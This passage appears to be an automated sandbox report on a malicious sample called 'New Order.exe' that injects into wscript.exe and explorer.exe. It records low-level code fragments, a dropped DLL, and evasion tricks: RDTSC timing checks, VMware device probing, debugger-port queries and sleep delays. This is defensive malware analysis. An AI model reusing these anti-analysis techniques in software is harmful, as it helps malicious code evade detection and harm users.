Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339B3B5 push eax; ret	5_2_0339B408
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03395E63 push esp; iretd	5_2_03395E64
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339B40B push eax; ret	5_2_0339B472
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339B402 push eax; ret	5_2_0339B408
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339B46C push eax; ret	5_2_0339B472

Source: C:\Users\user\Desktop\New Order.exe

File created: C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\New Order.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\New Order.exe	RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wscript.exe	RDTSC instruction interceptor: First address: 00000000033885E4 second address: 00000000033885EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wscript.exe	RDTSC instruction interceptor: First address: 000000000338896E second address: 0000000003388974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\New Order.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Code function: 2_2_004088A0 rdtsc

2_2_004088A0

Source: C:\Windows\explorer.exe TID: 3844	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3524	Thread sleep time: -38000s >= -30000s			Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_00405E93 FindFirstFileA,FindClose,	0_2_00405E93
Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_004054BD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_00402671 FindFirstFileA,	0_2_00402671

Source: explorer.exe, 00000003.00000000.681162732.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000003.00000000.660805445.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.657224309.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.660805445.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.660941932.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000003.00000000.653530097.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000003.00000000.681162732.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000003.00000000.660941932.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000003.00000000.681162732.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000003.00000000.661002462.000000000A782000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000003.00000000.681162732.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\New Order.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Code function: 2_2_004088A0 rdtsc

2_2_004088A0

Source: C:\Users\user\Desktop\New Order.exe

Code function: 2_2_00409B10 LdrLoadDll,

2_2_00409B10

Source: C:\Users\user\Desktop\New Order.exe

0_2_10001D3B

Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	2_2_00C7B8D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7B8D0 mov ecx, dword ptr fs:[00000030h]	2_2_00C7B8D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	2_2_00C7B8D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	2_2_00C7B8D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	2_2_00C7B8D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	2_2_00C7B8D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B8E4 mov eax, dword ptr fs:[00000030h]	2_2_00C0B8E4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B8E4 mov eax, dword ptr fs:[00000030h]	2_2_00C0B8E4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9080 mov eax, dword ptr fs:[00000030h]	2_2_00BE9080
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C63884 mov eax, dword ptr fs:[00000030h]	2_2_00C63884
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C63884 mov eax, dword ptr fs:[00000030h]	2_2_00C63884
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE58EC mov eax, dword ptr fs:[00000030h]	2_2_00BE58EC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE40E1 mov eax, dword ptr fs:[00000030h]	2_2_00BE40E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE40E1 mov eax, dword ptr fs:[00000030h]	2_2_00BE40E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE40E1 mov eax, dword ptr fs:[00000030h]	2_2_00BE40E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0 mov eax, dword ptr fs:[00000030h]	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0 mov eax, dword ptr fs:[00000030h]	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0 mov eax, dword ptr fs:[00000030h]	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0 mov eax, dword ptr fs:[00000030h]	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0 mov eax, dword ptr fs:[00000030h]	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0 mov eax, dword ptr fs:[00000030h]	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C290AF mov eax, dword ptr fs:[00000030h]	2_2_00C290AF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1F0BF mov ecx, dword ptr fs:[00000030h]	2_2_00C1F0BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1F0BF mov eax, dword ptr fs:[00000030h]	2_2_00C1F0BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1F0BF mov eax, dword ptr fs:[00000030h]	2_2_00C1F0BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C00050 mov eax, dword ptr fs:[00000030h]	2_2_00C00050
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C00050 mov eax, dword ptr fs:[00000030h]	2_2_00C00050
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFB02A mov eax, dword ptr fs:[00000030h]	2_2_00BFB02A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFB02A mov eax, dword ptr fs:[00000030h]	2_2_00BFB02A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFB02A mov eax, dword ptr fs:[00000030h]	2_2_00BFB02A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFB02A mov eax, dword ptr fs:[00000030h]	2_2_00BFB02A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2073 mov eax, dword ptr fs:[00000030h]	2_2_00CA2073
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB1074 mov eax, dword ptr fs:[00000030h]	2_2_00CB1074
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C67016 mov eax, dword ptr fs:[00000030h]	2_2_00C67016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C67016 mov eax, dword ptr fs:[00000030h]	2_2_00C67016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C67016 mov eax, dword ptr fs:[00000030h]	2_2_00C67016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB4015 mov eax, dword ptr fs:[00000030h]	2_2_00CB4015
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB4015 mov eax, dword ptr fs:[00000030h]	2_2_00CB4015
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1002D mov eax, dword ptr fs:[00000030h]	2_2_00C1002D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1002D mov eax, dword ptr fs:[00000030h]	2_2_00C1002D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1002D mov eax, dword ptr fs:[00000030h]	2_2_00C1002D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1002D mov eax, dword ptr fs:[00000030h]	2_2_00C1002D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1002D mov eax, dword ptr fs:[00000030h]	2_2_00C1002D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A830 mov eax, dword ptr fs:[00000030h]	2_2_00C0A830
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A830 mov eax, dword ptr fs:[00000030h]	2_2_00C0A830
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A830 mov eax, dword ptr fs:[00000030h]	2_2_00C0A830
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A830 mov eax, dword ptr fs:[00000030h]	2_2_00C0A830
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C741E8 mov eax, dword ptr fs:[00000030h]	2_2_00C741E8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0C182 mov eax, dword ptr fs:[00000030h]	2_2_00C0C182
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1A185 mov eax, dword ptr fs:[00000030h]	2_2_00C1A185
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12990 mov eax, dword ptr fs:[00000030h]	2_2_00C12990
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	2_2_00BEB1E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	2_2_00BEB1E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	2_2_00BEB1E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C669A6 mov eax, dword ptr fs:[00000030h]	2_2_00C669A6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C161A0 mov eax, dword ptr fs:[00000030h]	2_2_00C161A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C161A0 mov eax, dword ptr fs:[00000030h]	2_2_00C161A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA49A4 mov eax, dword ptr fs:[00000030h]	2_2_00CA49A4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA49A4 mov eax, dword ptr fs:[00000030h]	2_2_00CA49A4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA49A4 mov eax, dword ptr fs:[00000030h]	2_2_00CA49A4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA49A4 mov eax, dword ptr fs:[00000030h]	2_2_00CA49A4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C651BE mov eax, dword ptr fs:[00000030h]	2_2_00C651BE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C651BE mov eax, dword ptr fs:[00000030h]	2_2_00C651BE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C651BE mov eax, dword ptr fs:[00000030h]	2_2_00C651BE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C651BE mov eax, dword ptr fs:[00000030h]	2_2_00C651BE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov eax, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov eax, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov eax, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov ecx, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF mov eax, dword ptr fs:[00000030h]	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B944 mov eax, dword ptr fs:[00000030h]	2_2_00C0B944
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B944 mov eax, dword ptr fs:[00000030h]	2_2_00C0B944
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9100 mov eax, dword ptr fs:[00000030h]	2_2_00BE9100
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9100 mov eax, dword ptr fs:[00000030h]	2_2_00BE9100
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9100 mov eax, dword ptr fs:[00000030h]	2_2_00BE9100
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEB171 mov eax, dword ptr fs:[00000030h]	2_2_00BEB171
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEB171 mov eax, dword ptr fs:[00000030h]	2_2_00BEB171
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEC962 mov eax, dword ptr fs:[00000030h]	2_2_00BEC962
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C04120 mov eax, dword ptr fs:[00000030h]	2_2_00C04120
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C04120 mov eax, dword ptr fs:[00000030h]	2_2_00C04120
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C04120 mov eax, dword ptr fs:[00000030h]	2_2_00C04120
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C04120 mov eax, dword ptr fs:[00000030h]	2_2_00C04120
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C04120 mov ecx, dword ptr fs:[00000030h]	2_2_00C04120
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1513A mov eax, dword ptr fs:[00000030h]	2_2_00C1513A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1513A mov eax, dword ptr fs:[00000030h]	2_2_00C1513A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12ACB mov eax, dword ptr fs:[00000030h]	2_2_00C12ACB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFAAB0 mov eax, dword ptr fs:[00000030h]	2_2_00BFAAB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFAAB0 mov eax, dword ptr fs:[00000030h]	2_2_00BFAAB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	2_2_00BE52A5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	2_2_00BE52A5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	2_2_00BE52A5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	2_2_00BE52A5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	2_2_00BE52A5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12AE4 mov eax, dword ptr fs:[00000030h]	2_2_00C12AE4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF mov eax, dword ptr fs:[00000030h]	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1D294 mov eax, dword ptr fs:[00000030h]	2_2_00C1D294
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1D294 mov eax, dword ptr fs:[00000030h]	2_2_00C1D294
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1FAB0 mov eax, dword ptr fs:[00000030h]	2_2_00C1FAB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C74257 mov eax, dword ptr fs:[00000030h]	2_2_00C74257
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAEA55 mov eax, dword ptr fs:[00000030h]	2_2_00CAEA55
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEAA16 mov eax, dword ptr fs:[00000030h]	2_2_00BEAA16
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEAA16 mov eax, dword ptr fs:[00000030h]	2_2_00BEAA16
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C9B260 mov eax, dword ptr fs:[00000030h]	2_2_00C9B260
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C9B260 mov eax, dword ptr fs:[00000030h]	2_2_00C9B260
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB8A62 mov eax, dword ptr fs:[00000030h]	2_2_00CB8A62
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE5210 mov eax, dword ptr fs:[00000030h]	2_2_00BE5210
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE5210 mov ecx, dword ptr fs:[00000030h]	2_2_00BE5210
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE5210 mov eax, dword ptr fs:[00000030h]	2_2_00BE5210
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE5210 mov eax, dword ptr fs:[00000030h]	2_2_00BE5210
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF8A0A mov eax, dword ptr fs:[00000030h]	2_2_00BF8A0A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C2927A mov eax, dword ptr fs:[00000030h]	2_2_00C2927A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C03A1C mov eax, dword ptr fs:[00000030h]	2_2_00C03A1C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAAA16 mov eax, dword ptr fs:[00000030h]	2_2_00CAAA16
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAAA16 mov eax, dword ptr fs:[00000030h]	2_2_00CAAA16
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A229 mov eax, dword ptr fs:[00000030h]	2_2_00C0A229
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C24A2C mov eax, dword ptr fs:[00000030h]	2_2_00C24A2C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C24A2C mov eax, dword ptr fs:[00000030h]	2_2_00C24A2C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236 mov eax, dword ptr fs:[00000030h]	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236 mov eax, dword ptr fs:[00000030h]	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236 mov eax, dword ptr fs:[00000030h]	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236 mov eax, dword ptr fs:[00000030h]	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236 mov eax, dword ptr fs:[00000030h]	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236 mov eax, dword ptr fs:[00000030h]	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9240 mov eax, dword ptr fs:[00000030h]	2_2_00BE9240
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9240 mov eax, dword ptr fs:[00000030h]	2_2_00BE9240
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9240 mov eax, dword ptr fs:[00000030h]	2_2_00BE9240
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE9240 mov eax, dword ptr fs:[00000030h]	2_2_00BE9240
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C653CA mov eax, dword ptr fs:[00000030h]	2_2_00C653CA
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C653CA mov eax, dword ptr fs:[00000030h]	2_2_00C653CA
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C103E2 mov eax, dword ptr fs:[00000030h]	2_2_00C103E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C103E2 mov eax, dword ptr fs:[00000030h]	2_2_00C103E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C103E2 mov eax, dword ptr fs:[00000030h]	2_2_00C103E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C103E2 mov eax, dword ptr fs:[00000030h]	2_2_00C103E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C103E2 mov eax, dword ptr fs:[00000030h]	2_2_00C103E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C103E2 mov eax, dword ptr fs:[00000030h]	2_2_00C103E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0DBE9 mov eax, dword ptr fs:[00000030h]	2_2_00C0DBE9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C923E3 mov ecx, dword ptr fs:[00000030h]	2_2_00C923E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C923E3 mov ecx, dword ptr fs:[00000030h]	2_2_00C923E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C923E3 mov eax, dword ptr fs:[00000030h]	2_2_00C923E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF1B8F mov eax, dword ptr fs:[00000030h]	2_2_00BF1B8F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF1B8F mov eax, dword ptr fs:[00000030h]	2_2_00BF1B8F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA138A mov eax, dword ptr fs:[00000030h]	2_2_00CA138A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C9D380 mov ecx, dword ptr fs:[00000030h]	2_2_00C9D380
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1138B mov eax, dword ptr fs:[00000030h]	2_2_00C1138B
